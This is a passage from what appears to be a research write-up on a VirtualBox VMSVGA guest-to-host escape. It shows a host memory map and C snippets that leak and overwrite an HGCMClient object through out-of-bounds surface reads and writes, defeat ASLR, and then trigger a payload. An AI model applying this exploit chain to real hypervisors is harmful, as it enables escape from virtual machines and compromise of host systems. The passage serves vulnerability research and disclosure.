MALLOC_SMALL 00007ff16b800000-00007ff16c06d000 [ 8628K 6592K 6592K 1828K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
MALLOC_SMALL (empty) 00007ff16c06d000-00007ff16c06e000 [ 4K 4K 4K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
MALLOC_SMALL 00007ff16c06e000-00007ff16d000000 [ 15.6M 14.0M 14.0M 1440K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
MALLOC_SMALL 00007ff16d000000-00007ff16d800000 [ 8192K 5608K 5608K 2312K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
MALLOC_TINY 00007ff16d800000-00007ff16da00000 [ 2048K 864K 864K 1184K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
MALLOC_TINY 00007ff16da00000-00007ff16dc00000 [ 2048K 24K 24K 8K] rw-/rwx SM=COW QuartzCore_0x10cc46000
MALLOC_TINY 00007ff16dc00000-00007ff16de00000 [ 2048K 20K 20K 24K] rw-/rwx SM=COW GFXMallocZone_0x107072000
MALLOC_TINY (empty) 00007ff16de00000-00007ff16df00000 [ 1024K 8K 8K 8K] rw-/rwx SM=COW GFXMallocZone_0x107072000
MALLOC_TINY 00007ff16df00000-00007ff16e000000 [ 1024K 940K 940K 84K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
MALLOC_SMALL (empty) 00007ff16e000000-00007ff16e800000 [ 8192K 4K 4K 8K] rw-/rwx SM=COW QuartzCore_0x10cc46000
MALLOC_SMALL 00007ff16e800000-00007ff16f000000 [ 8192K 8K 8K 240K] rw-/rwx SM=COW GFXMallocZone_0x107072000
MALLOC_SMALL (empty) 00007ff16f000000-00007ff170000000 [ 16.0M 8K 8K 172K] rw-/rwx SM=COW GFXMallocZone_0x107072000
MALLOC_TINY (empty) 00007ff170000000-00007ff170100000 [ 1024K 8K 8K 4K] rw-/rwx SM=COW QuartzCore_0x10cc46000
MALLOC_TINY 00007ff170100000-00007ff170200000 [ 1024K 988K 988K 36K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
MALLOC_TINY (empty) 00007ff170200000-00007ff170300000 [ 1024K 8K 8K 4K] rw-/rwx SM=COW QuartzCore_0x10cc46000
MALLOC_TINY 00007ff170300000-00007ff170400000 [ 1024K 4K 4K 20K] rw-/rwx SM=COW GFXMallocZone_0x107072000
MALLOC_TINY 00007ff170400000-00007ff170500000 [ 1024K 1024K 1024K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
MALLOC_TINY 00007ff170500000-00007ff170800000 [ 3072K 3072K 3072K 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
MALLOC_SMALL 00007ff170800000-00007ff171000000 [ 8192K 4K 4K 96K] rw-/rwx SM=COW GFXMallocZone_0x107072000
MALLOC_SMALL 00007ff171000000-00007ff171800000 [ 8192K 8K 8K 4K] rw-/rwx SM=COW QuartzCore_0x10cc46000
MALLOC_TINY 00007ff171800000-00007ff172a00000 [ 18.0M 18.0M 18.0M 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
MALLOC_TINY 00007ff172a00000-00007ff172b00000 [ 1024K 1024K 1024K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
MALLOC_TINY 00007ff172b00000-00007ff173800000 [ 13.0M 13.0M 13.0M 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
MALLOC_TINY 00007ff173800000-00007ff173900000 [ 1024K 1024K 1024K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
MALLOC_TINY 00007ff173900000-00007ff174800000 [ 15.0M 15.0M 15.0M 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
MALLOC_TINY 00007ff174800000-00007ff174900000 [ 1024K 1024K 1024K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
MALLOC_TINY 00007ff174900000-00007ff174b00000 [ 2048K 2048K 2048K 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
MALLOC_TINY 00007ff174b00000-00007ff174c00000 [ 1024K 1024K 1024K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
MALLOC_TINY 00007ff174c00000-00007ff175000000 [ 4096K 4096K 4096K 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
MALLOC_TINY 00007ff175000000-00007ff175100000 [ 1024K 1024K 1024K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
MALLOC_TINY 00007ff175100000-00007ff175b00000 [ 10.0M 10.0M 10.0M 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
MALLOC_TINY 00007ff175b00000-00007ff175c00000 [ 1024K 1024K 1024K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
MALLOC_TINY 00007ff175c00000-00007ff176600000 [ 10.0M 10.0M 10.0M 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
MALLOC_TINY 00007ff176600000-00007ff176900000 [ 3072K 2352K 2352K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
MALLOC_SMALL 00007ff177000000-00007ff17b000000 [ 64.0M 62.8M 62.8M 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
STACK GUARD 00007ffee50b0000-00007ffee88b0000 [ 56.0M 0K 0K 0K] ---/rwx SM=NUL stack guard for thread 0

Locating and overwriting HGCMClient Object:

Once heap spray is done, use the out of bound read to leak memory relative to the surfaces starting from SVGA3D_MAX_SURFACE_IDS – 1. If any HGCMClient is found, stop the search, else keep going.
/* leak memory */
for (int i = SVGA3D_MAX_SURFACE_IDS - 1; i >= 0; i--) {
access_memory(i, SVGA3D_READ_HOST_VRAM, memory, 0x1000);
rv = find_hgcm_client(memory, 0x1000, &details);
if (rv == 0) {
surface_id = i;
break;
}
}
Once the client object is found, we know the location of the object by leaking its ‘pSelf’ pointer. The object’s vtable is a pointer to VBoxC.dylib. Both of this can be used to break ASLR. Later corrupt the object using the out of bound write relative to the surface id found during the search.
        access_memory(surface_id, SVGA3D_WRITE_HOST_VRAM, memory, 0x1000);
Finally, use HGCM disconnect to use the corrupted HGCMClient as below:
        warnx("[+] Triggering payload...");
disconnect_client(details.key);

Environment:

Guest: Ubuntu Server 16.04.5 64-bit with single vCPU and VMSVGA enabled
Host: MacOS High Sierra 10.13.6. Note that MacOS Mojave does not support older versions of VirtualBox
VirtualBox: Version 5.1.22 r115126

Exploit took around 3 minutes to complete due to the heap spray involved. The proof-of-concept exploit code and other code can be found at virtualbox-vmsvga-bugs